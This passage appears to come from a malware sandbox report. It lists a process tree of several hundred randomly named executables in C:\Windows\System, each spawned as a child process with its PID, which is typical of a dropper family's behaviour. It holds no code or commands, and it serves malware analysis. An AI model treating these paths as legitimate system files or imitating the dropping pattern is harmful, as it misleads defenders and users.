  C:\Windows\System\KvXvxZI.exe
  2⤵
  PID:6800
- C:\Windows\System\MhrZXiK.exe
  C:\Windows\System\MhrZXiK.exe
  2⤵
  PID:6840
- C:\Windows\System\icdiQZH.exe
  C:\Windows\System\icdiQZH.exe
  2⤵
  PID:6856
- C:\Windows\System\gNXFZzY.exe
  C:\Windows\System\gNXFZzY.exe
  2⤵
  PID:6872
- C:\Windows\System\fyKtWiw.exe
  C:\Windows\System\fyKtWiw.exe
  2⤵
  PID:6912
- C:\Windows\System\ZOCSJQN.exe
  C:\Windows\System\ZOCSJQN.exe
  2⤵
  PID:6952
- C:\Windows\System\BUldJrN.exe
  C:\Windows\System\BUldJrN.exe
  2⤵
  PID:6996
- C:\Windows\System\WEGXWxq.exe
  C:\Windows\System\WEGXWxq.exe
  2⤵
  PID:7016
- C:\Windows\System\ymZoFDB.exe
  C:\Windows\System\ymZoFDB.exe
  2⤵
  PID:7036
- C:\Windows\System\OoafHkt.exe
  C:\Windows\System\OoafHkt.exe
  2⤵
  PID:7064
- C:\Windows\System\NiWHcDI.exe
  C:\Windows\System\NiWHcDI.exe
  2⤵
  PID:7096
- C:\Windows\System\HcChPQA.exe
  C:\Windows\System\HcChPQA.exe
  2⤵
  PID:7124
- C:\Windows\System\BfkVPyg.exe
  C:\Windows\System\BfkVPyg.exe
  2⤵
  PID:7144
- C:\Windows\System\tvjhgvr.exe
  C:\Windows\System\tvjhgvr.exe
  2⤵
  PID:7164
- C:\Windows\System\QKYZklc.exe
  C:\Windows\System\QKYZklc.exe
  2⤵
  PID:6060
- C:\Windows\System\UaJGgbB.exe
  C:\Windows\System\UaJGgbB.exe
  2⤵
  PID:6188
- C:\Windows\System\XlOwOtL.exe
  C:\Windows\System\XlOwOtL.exe
  2⤵
  PID:5204
- C:\Windows\System\nxfjpoy.exe
  C:\Windows\System\nxfjpoy.exe
  2⤵
  PID:6168
- C:\Windows\System\TZmDKub.exe
  C:\Windows\System\TZmDKub.exe
  2⤵
  PID:6264
- C:\Windows\System\Kjzvart.exe
  C:\Windows\System\Kjzvart.exe
  2⤵
  PID:6300
- C:\Windows\System\WLvWdCO.exe
  C:\Windows\System\WLvWdCO.exe
  2⤵
  PID:6348
- C:\Windows\System\oKPyIJM.exe
  C:\Windows\System\oKPyIJM.exe
  2⤵
  PID:6488
- C:\Windows\System\EYXVKcX.exe
  C:\Windows\System\EYXVKcX.exe
  2⤵
  PID:6584
- C:\Windows\System\GEFNuyv.exe
  C:\Windows\System\GEFNuyv.exe
  2⤵
  PID:6704
- C:\Windows\System\mWYrZzc.exe
  C:\Windows\System\mWYrZzc.exe
  2⤵
  PID:6708
- C:\Windows\System\OxTuWeh.exe
  C:\Windows\System\OxTuWeh.exe
  2⤵
  PID:6784
- C:\Windows\System\IQbZjoa.exe
  C:\Windows\System\IQbZjoa.exe
  2⤵
  PID:6828
- C:\Windows\System\FTizxxB.exe
  C:\Windows\System\FTizxxB.exe
  2⤵
  PID:6964
- C:\Windows\System\shSgHlw.exe
  C:\Windows\System\shSgHlw.exe
  2⤵
  PID:7024
- C:\Windows\System\NSTClbE.exe
  C:\Windows\System\NSTClbE.exe
  2⤵
  PID:6972
- C:\Windows\System\JGleeWF.exe
  C:\Windows\System\JGleeWF.exe
  2⤵
  PID:7112
- C:\Windows\System\tXXjjFk.exe
  C:\Windows\System\tXXjjFk.exe
  2⤵
  PID:7140
- C:\Windows\System\PtMXBfK.exe
  C:\Windows\System\PtMXBfK.exe
  2⤵
  PID:7156
- C:\Windows\System\qieuVnd.exe
  C:\Windows\System\qieuVnd.exe
  2⤵
  PID:6192
- C:\Windows\System\yIitVoZ.exe
  C:\Windows\System\yIitVoZ.exe
  2⤵
  PID:6392
- C:\Windows\System\MHmZggz.exe
  C:\Windows\System\MHmZggz.exe
  2⤵
  PID:7136
- C:\Windows\System\LKmNshf.exe
  C:\Windows\System\LKmNshf.exe
  2⤵
  PID:2852
- C:\Windows\System\NFYdqMT.exe
  C:\Windows\System\NFYdqMT.exe
  2⤵
  PID:6788
- C:\Windows\System\wWkCGMA.exe
  C:\Windows\System\wWkCGMA.exe
  2⤵
  PID:4416
- C:\Windows\System\vDkjQXB.exe
  C:\Windows\System\vDkjQXB.exe
  2⤵
  PID:7172
- C:\Windows\System\MCtbTEI.exe
  C:\Windows\System\MCtbTEI.exe
  2⤵
  PID:7204
- C:\Windows\System\hcFIXKu.exe
  C:\Windows\System\hcFIXKu.exe
  2⤵
  PID:7220
- C:\Windows\System\pGcXQKI.exe
  C:\Windows\System\pGcXQKI.exe
  2⤵
  PID:7236
- C:\Windows\System\jTUxNvT.exe
  C:\Windows\System\jTUxNvT.exe
  2⤵
  PID:7256
- C:\Windows\System\blMvHAD.exe
  C:\Windows\System\blMvHAD.exe
  2⤵
  PID:7276
- C:\Windows\System\BeJGrTo.exe
  C:\Windows\System\BeJGrTo.exe
  2⤵
  PID:7300
- C:\Windows\System\CyYxUTX.exe
  C:\Windows\System\CyYxUTX.exe
  2⤵
  PID:7324
- C:\Windows\System\REfnpEg.exe
  C:\Windows\System\REfnpEg.exe
  2⤵
  PID:7344
- C:\Windows\System\beoFuum.exe
  C:\Windows\System\beoFuum.exe
  2⤵
  PID:7428
- C:\Windows\System\SRNlhcn.exe
  C:\Windows\System\SRNlhcn.exe
  2⤵
  PID:7444
- C:\Windows\System\wlYnVqP.exe
  C:\Windows\System\wlYnVqP.exe
  2⤵
  PID:7480
- C:\Windows\System\OgJaxSI.exe
  C:\Windows\System\OgJaxSI.exe
  2⤵
  PID:7496
- C:\Windows\System\aFrTdYt.exe
  C:\Windows\System\aFrTdYt.exe
  2⤵
  PID:7516
- C:\Windows\System\hQjToZr.exe
  C:\Windows\System\hQjToZr.exe
  2⤵
  PID:7532
- C:\Windows\System\PFQWwpY.exe
  C:\Windows\System\PFQWwpY.exe
  2⤵
  PID:7548
- C:\Windows\System\jHosWUq.exe
  C:\Windows\System\jHosWUq.exe
  2⤵
  PID:7568
- C:\Windows\System\DbBLTWz.exe
  C:\Windows\System\DbBLTWz.exe
  2⤵
  PID:7588
- C:\Windows\System\GeIucdf.exe
  C:\Windows\System\GeIucdf.exe
  2⤵
  PID:7676
- C:\Windows\System\ASJXtVS.exe
  C:\Windows\System\ASJXtVS.exe
  2⤵
  PID:7696
- C:\Windows\System\OFEEqTL.exe
  C:\Windows\System\OFEEqTL.exe
  2⤵
  PID:7716
- C:\Windows\System\ymJxPul.exe
  C:\Windows\System\ymJxPul.exe
  2⤵
  PID:7744
- C:\Windows\System\UowmRPj.exe
  C:\Windows\System\UowmRPj.exe
  2⤵
  PID:7764
- C:\Windows\System\dZVrKva.exe
  C:\Windows\System\dZVrKva.exe
  2⤵
  PID:7780
- C:\Windows\System\zIFjCAv.exe
  C:\Windows\System\zIFjCAv.exe
  2⤵
  PID:7800
- C:\Windows\System\vjAyOhR.exe
  C:\Windows\System\vjAyOhR.exe
  2⤵
  PID:7816
- C:\Windows\System\sNVLBuv.exe
  C:\Windows\System\sNVLBuv.exe
  2⤵
  PID:7836
- C:\Windows\System\uUQYGAE.exe
  C:\Windows\System\uUQYGAE.exe
  2⤵
  PID:7864
- C:\Windows\System\tQmhpSM.exe
  C:\Windows\System\tQmhpSM.exe
  2⤵
  PID:7884
- C:\Windows\System\gHwhWDs.exe
  C:\Windows\System\gHwhWDs.exe
  2⤵
  PID:7904
- C:\Windows\System\zVJEgSO.exe
  C:\Windows\System\zVJEgSO.exe
  2⤵
  PID:7924
- C:\Windows\System\OlOzIPq.exe
  C:\Windows\System\OlOzIPq.exe
  2⤵
  PID:7952
- C:\Windows\System\dbInCFZ.exe
  C:\Windows\System\dbInCFZ.exe
  2⤵
  PID:7972
- C:\Windows\System\FLAnOXF.exe
  C:\Windows\System\FLAnOXF.exe
  2⤵
  PID:7992
- C:\Windows\System\QZGVZpk.exe
  C:\Windows\System\QZGVZpk.exe
  2⤵
  PID:8020
- C:\Windows\System\EhWdTZK.exe
  C:\Windows\System\EhWdTZK.exe
  2⤵
  PID:8040
- C:\Windows\System\SRfbydB.exe
  C:\Windows\System\SRfbydB.exe
  2⤵
  PID:8060
- C:\Windows\System\AKQcQSw.exe
  C:\Windows\System\AKQcQSw.exe
  2⤵
  PID:8076
- C:\Windows\System\mWrkKNM.exe
  C:\Windows\System\mWrkKNM.exe
  2⤵
  PID:8100
- C:\Windows\System\XWzhWiu.exe
  C:\Windows\System\XWzhWiu.exe
  2⤵
  PID:8116
- C:\Windows\System\QUPunzI.exe
  C:\Windows\System\QUPunzI.exe
  2⤵
  PID:8144
- C:\Windows\System\bSrcJKL.exe
  C:\Windows\System\bSrcJKL.exe
  2⤵
  PID:8164
- C:\Windows\System\ilUNIoV.exe
  C:\Windows\System\ilUNIoV.exe
  2⤵
  PID:8184
- C:\Windows\System\XNJYCyQ.exe
  C:\Windows\System\XNJYCyQ.exe
  2⤵
  PID:7032
- C:\Windows\System\YFwgohU.exe
  C:\Windows\System\YFwgohU.exe
  2⤵
  PID:7092
- C:\Windows\System\xHwQzqH.exe
  C:\Windows\System\xHwQzqH.exe
  2⤵
  PID:7184
- C:\Windows\System\zqogmpV.exe
  C:\Windows\System\zqogmpV.exe
  2⤵
  PID:6268
- C:\Windows\System\YBLuiFB.exe
  C:\Windows\System\YBLuiFB.exe
  2⤵
  PID:380
- C:\Windows\System\DeiCgVL.exe
  C:\Windows\System\DeiCgVL.exe
  2⤵
  PID:7160
- C:\Windows\System\yoIdZCj.exe
  C:\Windows\System\yoIdZCj.exe
  2⤵
  PID:6852
- C:\Windows\System\mRZboap.exe
  C:\Windows\System\mRZboap.exe
  2⤵
  PID:7248
- C:\Windows\System\bKmZzJG.exe
  C:\Windows\System\bKmZzJG.exe
  2⤵
  PID:7284
- C:\Windows\System\ZzBwcmu.exe
  C:\Windows\System\ZzBwcmu.exe
  2⤵
  PID:7332
- C:\Windows\System\oEljeBn.exe
  C:\Windows\System\oEljeBn.exe
  2⤵
  PID:7372
- C:\Windows\System\aJHViSg.exe
  C:\Windows\System\aJHViSg.exe
  2⤵
  PID:7564
- C:\Windows\System\BeiGcWn.exe
  C:\Windows\System\BeiGcWn.exe
  2⤵
  PID:7776
- C:\Windows\System\QIcxcQg.exe
  C:\Windows\System\QIcxcQg.exe
  2⤵
  PID:7944
- C:\Windows\System\ZluuYwG.exe
  C:\Windows\System\ZluuYwG.exe
  2⤵
  PID:7964
- C:\Windows\System\BBbdfbf.exe
  C:\Windows\System\BBbdfbf.exe
  2⤵
  PID:7652
- C:\Windows\System\Iefrnmv.exe
  C:\Windows\System\Iefrnmv.exe
  2⤵
  PID:8112
- C:\Windows\System\dtFyEHX.exe
  C:\Windows\System\dtFyEHX.exe
  2⤵
  PID:7920
- C:\Windows\System\XyATFnd.exe
  C:\Windows\System\XyATFnd.exe
  2⤵
  PID:8036
- C:\Windows\System\EsoxWTW.exe
  C:\Windows\System\EsoxWTW.exe
  2⤵
  PID:8092
- C:\Windows\System\xyZlpBW.exe
  C:\Windows\System\xyZlpBW.exe
  2⤵
  PID:7728
- C:\Windows\System\jUtfgWs.exe
  C:\Windows\System\jUtfgWs.exe
  2⤵
  PID:8160
- C:\Windows\System\GBUcXog.exe
  C:\Windows\System\GBUcXog.exe
  2⤵
  PID:7828
- C:\Windows\System\xpyGvNf.exe
  C:\Windows\System\xpyGvNf.exe
  2⤵
  PID:7860
- C:\Windows\System\QwdHsEk.exe
  C:\Windows\System\QwdHsEk.exe
  2⤵
  PID:7200
- C:\Windows\System\HhXSTOH.exe
  C:\Windows\System\HhXSTOH.exe
  2⤵
  PID:8196
- C:\Windows\System\haanKrH.exe
  C:\Windows\System\haanKrH.exe
  2⤵
  PID:8220
- C:\Windows\System\MHTSlQd.exe
  C:\Windows\System\MHTSlQd.exe
  2⤵
  PID:8240
- C:\Windows\System\jrhtwVD.exe
  C:\Windows\System\jrhtwVD.exe
  2⤵
  PID:8400
- C:\Windows\System\NeOeSsA.exe
  C:\Windows\System\NeOeSsA.exe
  2⤵
  PID:8420
- C:\Windows\System\sMCEblA.exe
  C:\Windows\System\sMCEblA.exe
  2⤵
  PID:8436
- C:\Windows\System\bosIMVy.exe
  C:\Windows\System\bosIMVy.exe
  2⤵
  PID:8460
- C:\Windows\System\WzVMlNr.exe
  C:\Windows\System\WzVMlNr.exe
  2⤵
  PID:8480
- C:\Windows\System\zgEBkPg.exe
  C:\Windows\System\zgEBkPg.exe
  2⤵
  PID:8504
- C:\Windows\System\dwxQcZc.exe
  C:\Windows\System\dwxQcZc.exe
  2⤵
  PID:8524
- C:\Windows\System\JgAcrSd.exe
  C:\Windows\System\JgAcrSd.exe
  2⤵
  PID:8544
- C:\Windows\System\jJsJEWn.exe
  C:\Windows\System\jJsJEWn.exe
  2⤵
  PID:8568
- C:\Windows\System\Fjvmapy.exe
  C:\Windows\System\Fjvmapy.exe
  2⤵
  PID:8588
- C:\Windows\System\SRRVbxP.exe
  C:\Windows\System\SRRVbxP.exe
  2⤵
  PID:8608
- C:\Windows\System\uGHSgLl.exe
  C:\Windows\System\uGHSgLl.exe
  2⤵
  PID:8628
- C:\Windows\System\TPZFqbA.exe
  C:\Windows\System\TPZFqbA.exe
  2⤵
  PID:8656
- C:\Windows\System\TeZUHOT.exe
  C:\Windows\System\TeZUHOT.exe
  2⤵
  PID:8688
- C:\Windows\System\PuHcFhs.exe
  C:\Windows\System\PuHcFhs.exe
  2⤵
  PID:8712
- C:\Windows\System\HJWhBtX.exe
  C:\Windows\System\HJWhBtX.exe
  2⤵
  PID:8728
- C:\Windows\System\GxIelxr.exe
  C:\Windows\System\GxIelxr.exe
  2⤵
  PID:8760
- C:\Windows\System\WtTzwUR.exe
  C:\Windows\System\WtTzwUR.exe
  2⤵
  PID:8780
- C:\Windows\System\tgwRuDE.exe
  C:\Windows\System\tgwRuDE.exe
  2⤵
  PID:8800
- C:\Windows\System\BaNcctp.exe
  C:\Windows\System\BaNcctp.exe
  2⤵
  PID:8820
- C:\Windows\System\fwoHaFF.exe
  C:\Windows\System\fwoHaFF.exe
  2⤵
  PID:8840
- C:\Windows\System\gchclZN.exe
  C:\Windows\System\gchclZN.exe
  2⤵
  PID:8864
- C:\Windows\System\QrPlQOu.exe
  C:\Windows\System\QrPlQOu.exe
  2⤵
  PID:8880
- C:\Windows\System\SENrNif.exe
  C:\Windows\System\SENrNif.exe
  2⤵
  PID:8900
- C:\Windows\System\SPbLLoU.exe
  C:\Windows\System\SPbLLoU.exe
  2⤵
  PID:8920
- C:\Windows\System\DuLjVUz.exe
  C:\Windows\System\DuLjVUz.exe
  2⤵
  PID:8940
- C:\Windows\System\nEvWnDa.exe
  C:\Windows\System\nEvWnDa.exe
  2⤵
  PID:8960
- C:\Windows\System\EeRmfFE.exe
  C:\Windows\System\EeRmfFE.exe
  2⤵
  PID:8980
- C:\Windows\System\EnTnXwg.exe
  C:\Windows\System\EnTnXwg.exe
  2⤵
  PID:8996
- C:\Windows\System\QgwLeaQ.exe
  C:\Windows\System\QgwLeaQ.exe
  2⤵
  PID:9020
- C:\Windows\System\YskxWPv.exe
  C:\Windows\System\YskxWPv.exe
  2⤵
  PID:9040
- C:\Windows\System\bpMIfJl.exe
  C:\Windows\System\bpMIfJl.exe
  2⤵
  PID:9060
- C:\Windows\System\gABxDKJ.exe
  C:\Windows\System\gABxDKJ.exe
  2⤵
  PID:9080
- C:\Windows\System\MOevpkJ.exe
  C:\Windows\System\MOevpkJ.exe
  2⤵
  PID:9096
- C:\Windows\System\adOTsrQ.exe
  C:\Windows\System\adOTsrQ.exe
  2⤵
  PID:9120
- C:\Windows\System\qrHpwFk.exe
  C:\Windows\System\qrHpwFk.exe
  2⤵
  PID:9136
- C:\Windows\System\MxNyJbL.exe
  C:\Windows\System\MxNyJbL.exe
  2⤵
  PID:9156
- C:\Windows\System\gETdbyc.exe
  C:\Windows\System\gETdbyc.exe
  2⤵
  PID:9180
- C:\Windows\System\lqKTjts.exe
  C:\Windows\System\lqKTjts.exe
  2⤵
  PID:9092
- C:\Windows\System\zaRLnOh.exe
  C:\Windows\System\zaRLnOh.exe
  2⤵
  PID:9144
- C:\Windows\System\DEemmvd.exe
  C:\Windows\System\DEemmvd.exe
  2⤵
  PID:8140
- C:\Windows\System\DPHUrdK.exe
  C:\Windows\System\DPHUrdK.exe
  2⤵
  PID:7296
- C:\Windows\System\XQDxZwf.exe
  C:\Windows\System\XQDxZwf.exe
  2⤵
  PID:6696
- C:\Windows\System\jOmWSCZ.exe
  C:\Windows\System\jOmWSCZ.exe
  2⤵
  PID:8536
- C:\Windows\System\NTeydHi.exe
  C:\Windows\System\NTeydHi.exe
  2⤵
  PID:8228
- C:\Windows\System\kFEfPaB.exe
  C:\Windows\System\kFEfPaB.exe
  2⤵
  PID:8012
- C:\Windows\System\wUAsOrz.exe
  C:\Windows\System\wUAsOrz.exe
  2⤵
  PID:9072
- C:\Windows\System\alPPuOC.exe
  C:\Windows\System\alPPuOC.exe
  2⤵
  PID:6760
- C:\Windows\System\FKZsMHl.exe
  C:\Windows\System\FKZsMHl.exe
  2⤵
  PID:9400
- C:\Windows\System\xAqYUlE.exe
  C:\Windows\System\xAqYUlE.exe
  2⤵
  PID:9620
- C:\Windows\System\dzuqUse.exe
  C:\Windows\System\dzuqUse.exe
  2⤵
  PID:9856
- C:\Windows\System\OVfImnQ.exe
  C:\Windows\System\OVfImnQ.exe
  2⤵
  PID:10012
- C:\Windows\System\akQiHmf.exe
  C:\Windows\System\akQiHmf.exe
  2⤵
  PID:10032
- C:\Windows\System\iekBFJh.exe
  C:\Windows\System\iekBFJh.exe
  2⤵
  PID:10052
- C:\Windows\System\gxmymVw.exe
  C:\Windows\System\gxmymVw.exe
  2⤵
  PID:10068
- C:\Windows\System\fEgatHr.exe
  C:\Windows\System\fEgatHr.exe
  2⤵
  PID:10096
- C:\Windows\System\kqGxrmm.exe
  C:\Windows\System\kqGxrmm.exe
  2⤵
  PID:10116
- C:\Windows\System\tTCwOPA.exe
  C:\Windows\System\tTCwOPA.exe
  2⤵
  PID:10132
- C:\Windows\System\sofaBuG.exe
  C:\Windows\System\sofaBuG.exe
  2⤵
  PID:10148
- C:\Windows\System\tfrcNfh.exe
  C:\Windows\System\tfrcNfh.exe
  2⤵
  PID:10172
- C:\Windows\System\OJdUvDn.exe
  C:\Windows\System\OJdUvDn.exe
  2⤵
  PID:10192
- C:\Windows\System\cGeMvtJ.exe
  C:\Windows\System\cGeMvtJ.exe
  2⤵
  PID:10216
- C:\Windows\System\NISMuOK.exe
  C:\Windows\System\NISMuOK.exe
  2⤵
  PID:8516
- C:\Windows\System\egFQrbx.exe
  C:\Windows\System\egFQrbx.exe
  2⤵
  PID:8856
- C:\Windows\System\oAiyxdv.exe
  C:\Windows\System\oAiyxdv.exe
  2⤵
  PID:9244
- C:\Windows\System\qVDmVWA.exe
  C:\Windows\System\qVDmVWA.exe
  2⤵
  PID:9332
- C:\Windows\System\TMEAmgl.exe
  C:\Windows\System\TMEAmgl.exe
  2⤵
  PID:8356
- C:\Windows\System\gPeqgrw.exe
  C:\Windows\System\gPeqgrw.exe
  2⤵
  PID:9456
- C:\Windows\System\juifkmE.exe
  C:\Windows\System\juifkmE.exe
  2⤵
  PID:9544
- C:\Windows\System\vtCEsmz.exe
  C:\Windows\System\vtCEsmz.exe
  2⤵
  PID:9368
- C:\Windows\System\oXwzuME.exe
  C:\Windows\System\oXwzuME.exe
  2⤵
  PID:9668
- C:\Windows\System\Ndlxzrs.exe
  C:\Windows\System\Ndlxzrs.exe
  2⤵
  PID:9828
- C:\Windows\System\MMsaDau.exe
  C:\Windows\System\MMsaDau.exe
  2⤵
  PID:10040
- C:\Windows\System\VKPHrtV.exe
  C:\Windows\System\VKPHrtV.exe
  2⤵
  PID:9564
- C:\Windows\System\dORUkOn.exe
  C:\Windows\System\dORUkOn.exe
  2⤵
  PID:10160
- C:\Windows\System\DteQNGu.exe
  C:\Windows\System\DteQNGu.exe
  2⤵
  PID:9608
- C:\Windows\System\ajQjlRu.exe
  C:\Windows\System\ajQjlRu.exe
  2⤵
  PID:9656
- C:\Windows\System\xvnUsVu.exe
  C:\Windows\System\xvnUsVu.exe
  2⤵
  PID:9776
- C:\Windows\System\thtpDvH.exe
  C:\Windows\System\thtpDvH.exe
  2⤵
  PID:9808
- C:\Windows\System\jKhlYPL.exe
  C:\Windows\System\jKhlYPL.exe
  2⤵
  PID:10280
- C:\Windows\System\UWRJpVQ.exe
  C:\Windows\System\UWRJpVQ.exe
  2⤵
  PID:10296
- C:\Windows\System\tFeboex.exe
  C:\Windows\System\tFeboex.exe
  2⤵
  PID:10320
- C:\Windows\System\YuYCXJI.exe
  C:\Windows\System\YuYCXJI.exe
  2⤵
  PID:10340
- C:\Windows\System\NBSRKRP.exe
  C:\Windows\System\NBSRKRP.exe
  2⤵
  PID:10440
- C:\Windows\System\dHTudec.exe
  C:\Windows\System\dHTudec.exe
  2⤵
  PID:10548
- C:\Windows\System\RMDRccm.exe
  C:\Windows\System\RMDRccm.exe
  2⤵
  PID:10648
- C:\Windows\System\IvlQeid.exe
  C:\Windows\System\IvlQeid.exe
  2⤵
  PID:10768
- C:\Windows\System\eCjohHB.exe
  C:\Windows\System\eCjohHB.exe
  2⤵
  PID:10828
- C:\Windows\System\FyZdkls.exe
  C:\Windows\System\FyZdkls.exe
  2⤵
  PID:10948
- C:\Windows\System\HPjHbww.exe
  C:\Windows\System\HPjHbww.exe
  2⤵
  PID:10968
- C:\Windows\System\xGbZMFI.exe
  C:\Windows\System\xGbZMFI.exe
  2⤵
  PID:11004
- C:\Windows\System\KsupCCl.exe
  C:\Windows\System\KsupCCl.exe
  2⤵
  PID:11024
- C:\Windows\System\NhjfpyN.exe
  C:\Windows\System\NhjfpyN.exe
  2⤵
  PID:11044
- C:\Windows\System\snqCbxw.exe
  C:\Windows\System\snqCbxw.exe
  2⤵
  PID:11060
- C:\Windows\System\HGfBLbw.exe
  C:\Windows\System\HGfBLbw.exe
  2⤵
  PID:11080
- C:\Windows\System\LOJomuW.exe
  C:\Windows\System\LOJomuW.exe
  2⤵
  PID:11120
- C:\Windows\System\IBIyDlj.exe
  C:\Windows\System\IBIyDlj.exe
  2⤵
  PID:11140
- C:\Windows\System\gDNnAEs.exe
  C:\Windows\System\gDNnAEs.exe
  2⤵
  PID:11160
- C:\Windows\System\HFAJwgA.exe
  C:\Windows\System\HFAJwgA.exe
  2⤵
  PID:11180
- C:\Windows\System\rwwOlOy.exe
  C:\Windows\System\rwwOlOy.exe
  2⤵
  PID:11200
- C:\Windows\System\GApvKlF.exe
  C:\Windows\System\GApvKlF.exe
  2⤵
  PID:11216
- C:\Windows\System\qAgeUKI.exe
  C:\Windows\System\qAgeUKI.exe
  2⤵
  PID:11232
- C:\Windows\System\JJsvzoo.exe
  C:\Windows\System\JJsvzoo.exe
  2⤵
  PID:9516
- C:\Windows\System\ppwvGOG.exe
  C:\Windows\System\ppwvGOG.exe
  2⤵
  PID:7844
- C:\Windows\System\jyvpgoq.exe
  C:\Windows\System\jyvpgoq.exe
  2⤵
  PID:9864
- C:\Windows\System\uRPAIVv.exe
  C:\Windows\System\uRPAIVv.exe
  2⤵
  PID:9612
- C:\Windows\System\kXunxcE.exe
  C:\Windows\System\kXunxcE.exe
  2⤵
  PID:9552
- C:\Windows\System\ZNuzHkl.exe
  C:\Windows\System\ZNuzHkl.exe
  2⤵
  PID:10180
- C:\Windows\System\BfVVFEx.exe
  C:\Windows\System\BfVVFEx.exe
  2⤵
  PID:4036
- C:\Windows\System\HGEtxjZ.exe
  C:\Windows\System\HGEtxjZ.exe
  2⤵
  PID:10312
- C:\Windows\System\InepRIc.exe
  C:\Windows\System\InepRIc.exe
  2⤵
  PID:3868
- C:\Windows\System\tzPuVxG.exe
  C:\Windows\System\tzPuVxG.exe
  2⤵
  PID:6824
- C:\Windows\System\xyMgnlp.exe
  C:\Windows\System\xyMgnlp.exe
  2⤵
  PID:10716
- C:\Windows\System\MdcOxvR.exe
  C:\Windows\System\MdcOxvR.exe
  2⤵
  PID:808
- C:\Windows\System\QJJvOEE.exe
  C:\Windows\System\QJJvOEE.exe
  2⤵
  PID:10540
- C:\Windows\System\IflaNVt.exe
  C:\Windows\System\IflaNVt.exe
  2⤵
  PID:6456
- C:\Windows\System\kUJigly.exe
  C:\Windows\System\kUJigly.exe
  2⤵
  PID:10644
- C:\Windows\System\TLpbzkY.exe
  C:\Windows\System\TLpbzkY.exe
  2⤵
  PID:10804
- C:\Windows\System\UulSfsI.exe
  C:\Windows\System\UulSfsI.exe
  2⤵
  PID:10860
- C:\Windows\System\NqHsVjv.exe
  C:\Windows\System\NqHsVjv.exe
  2⤵
  PID:10928
- C:\Windows\System\ggcHSnn.exe
  C:\Windows\System\ggcHSnn.exe
  2⤵
  PID:11016
- C:\Windows\System\CtNSruX.exe
  C:\Windows\System\CtNSruX.exe
  2⤵
  PID:5072
- C:\Windows\System\lNbzfRL.exe
  C:\Windows\System\lNbzfRL.exe
  2⤵
  PID:11012
- C:\Windows\System\BQservt.exe
  C:\Windows\System\BQservt.exe
  2⤵
  PID:2548
- C:\Windows\System\BvnMKwS.exe
  C:\Windows\System\BvnMKwS.exe
  2⤵
  PID:1792
- C:\Windows\System\BnHqjYf.exe
  C:\Windows\System\BnHqjYf.exe
  2⤵
  PID:11152
- C:\Windows\System\JXwrtLE.exe
  C:\Windows\System\JXwrtLE.exe
  2⤵
  PID:4560
- C:\Windows\System\UnWCUCm.exe
  C:\Windows\System\UnWCUCm.exe
  2⤵
  PID:9392
- C:\Windows\System\jAuIoGJ.exe
  C:\Windows\System\jAuIoGJ.exe
  2⤵
  PID:11096
- C:\Windows\System\oWNtzuR.exe
  C:\Windows\System\oWNtzuR.exe
  2⤵
  PID:3584
- C:\Windows\System\fqmpmYl.exe
  C:\Windows\System\fqmpmYl.exe
  2⤵
  PID:10752
- C:\Windows\System\TqCCAtP.exe
  C:\Windows\System\TqCCAtP.exe
  2⤵
  PID:10332
- C:\Windows\System\cZZeweK.exe
  C:\Windows\System\cZZeweK.exe
  2⤵
  PID:11280
- C:\Windows\System\wYnRnxQ.exe
  C:\Windows\System\wYnRnxQ.exe
  2⤵
  PID:11300
- C:\Windows\System\zRrHOkV.exe
  C:\Windows\System\zRrHOkV.exe
  2⤵
  PID:11400
- C:\Windows\System\DDpgbey.exe
  C:\Windows\System\DDpgbey.exe
  2⤵
  PID:11420
- C:\Windows\System\QIxNoec.exe
  C:\Windows\System\QIxNoec.exe
  2⤵
  PID:11436
- C:\Windows\System\vJMtNDq.exe
  C:\Windows\System\vJMtNDq.exe
  2⤵
  PID:11460
- C:\Windows\System\hoDTWcX.exe
  C:\Windows\System\hoDTWcX.exe
  2⤵
  PID:11480
- C:\Windows\System\zyXVrIC.exe
  C:\Windows\System\zyXVrIC.exe
  2⤵
  PID:11504
- C:\Windows\System\eXQENSR.exe
  C:\Windows\System\eXQENSR.exe
  2⤵
  PID:11520
- C:\Windows\System\yTqXiaJ.exe
  C:\Windows\System\yTqXiaJ.exe
  2⤵
  PID:11540
- C:\Windows\System\gIlskMw.exe
  C:\Windows\System\gIlskMw.exe
  2⤵
  PID:11556
- C:\Windows\System\whRduhs.exe
  C:\Windows\System\whRduhs.exe
  2⤵
  PID:11576
- C:\Windows\System\ZedsRpa.exe
  C:\Windows\System\ZedsRpa.exe
  2⤵
  PID:11592
- C:\Windows\System\NCjWcsX.exe
  C:\Windows\System\NCjWcsX.exe
  2⤵
  PID:11608
- C:\Windows\System\beaNuHw.exe
  C:\Windows\System\beaNuHw.exe
  2⤵
  PID:11624
- C:\Windows\System\VJgOJfy.exe
  C:\Windows\System\VJgOJfy.exe
  2⤵
  PID:11644
- C:\Windows\System\gVrfaWf.exe
  C:\Windows\System\gVrfaWf.exe
  2⤵
  PID:11664
- C:\Windows\System\urjvHYB.exe
  C:\Windows\System\urjvHYB.exe
  2⤵
  PID:11688
- C:\Windows\System\JBoCogy.exe
  C:\Windows\System\JBoCogy.exe
  2⤵
  PID:11804
- C:\Windows\System\iVFNHno.exe
  C:\Windows\System\iVFNHno.exe
  2⤵
  PID:11820
- C:\Windows\System\ooZhldE.exe
  C:\Windows\System\ooZhldE.exe
  2⤵
  PID:11844
- C:\Windows\System\cdIFcVs.exe
  C:\Windows\System\cdIFcVs.exe
  2⤵
  PID:11864
- C:\Windows\System\uiKzWqf.exe
  C:\Windows\System\uiKzWqf.exe
  2⤵
  PID:11888
- C:\Windows\System\zIaSQxL.exe
  C:\Windows\System\zIaSQxL.exe
  2⤵
  PID:12012
- C:\Windows\System\NqyykSO.exe
  C:\Windows\System\NqyykSO.exe
  2⤵
  PID:12028
- C:\Windows\System\vUbESOW.exe
  C:\Windows\System\vUbESOW.exe
  2⤵
  PID:12044
- C:\Windows\System\qprjnBl.exe
  C:\Windows\System\qprjnBl.exe
  2⤵
  PID:12060
- C:\Windows\System\yaDyAIq.exe
  C:\Windows\System\yaDyAIq.exe
  2⤵
  PID:12084
- C:\Windows\System\ucbDZLx.exe
  C:\Windows\System\ucbDZLx.exe
  2⤵
  PID:12104
- C:\Windows\System\vZkNCEQ.exe
  C:\Windows\System\vZkNCEQ.exe
  2⤵
  PID:12124
- C:\Windows\System\TvVIlbO.exe
  C:\Windows\System\TvVIlbO.exe
  2⤵
  PID:12144
- C:\Windows\System\JxycGDL.exe
  C:\Windows\System\JxycGDL.exe
  2⤵
  PID:12164
- C:\Windows\System\onReqAT.exe
  C:\Windows\System\onReqAT.exe
  2⤵
  PID:12184
- C:\Windows\System\UdhggmV.exe
  C:\Windows\System\UdhggmV.exe
  2⤵
  PID:12204
- C:\Windows\System\ARsNfFo.exe
